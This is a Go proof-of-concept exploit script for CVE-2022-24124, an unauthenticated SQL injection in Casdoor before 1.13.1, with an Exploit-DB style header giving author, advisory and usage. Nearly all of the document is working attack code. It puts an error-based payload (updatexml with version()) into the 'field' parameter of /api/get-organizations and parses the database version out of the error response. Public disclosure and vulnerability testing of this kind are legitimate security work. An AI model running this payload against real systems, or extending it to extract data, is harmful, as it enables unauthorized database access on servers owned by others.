// Exploit Title: Casdoor 1.13.0 SQL Injection (Unauthenticated) 
// Date: 2022-02-25
// Exploit Author: Mayank Deshmukh
// Vendor Homepage: https://casdoor.org/
// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0
// Version: version < 1.13.1
// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r
// Tested on: Kali Linux
// CVE : CVE-2022-24124
// Github POC: https://github.com/ColdFusionX/CVE-2022-24124

// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080

package main

import (
  "flag"
  "fmt"
  "html"
  "io/ioutil"
  "net/http"
  "os"
  "regexp"
  "strings"
)

func main() {
  var url string
  flag.StringVar(&url, "u", "", "Casdoor URL (ex. http://127.0.0.1:8080)")
  flag.Parse()

  banner := `
-=Casdoor SQL Injection (CVE-2022-24124)=- 
- by Mayank Deshmukh (ColdFusionX)

`
  fmt.Printf(banner)
  fmt.Println("[*] Dumping Database Version")
  response, err := http.Get(url + "/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)")

  if err != nil {
    panic(err)
  }

  defer response.Body.Close()

  databytes, err := ioutil.ReadAll(response.Body)

  if err != nil {
    panic(err)
  }

  content := string(databytes)

  re := regexp.MustCompile("(?i)(XPATH syntax error.*&#39)")

  result := re.FindAllString(content, -1)
  
  sqliop := fmt.Sprint(result)
  replacer := strings.NewReplacer("[", "", "]", "", "&#39", "", ";", "")
  
  finalop := replacer.Replace(sqliop)
  fmt.Println(html.UnescapeString(finalop))


  if result == nil {
    fmt.Printf("Application not vulnerable\n")
    os.Exit(1)
  }

}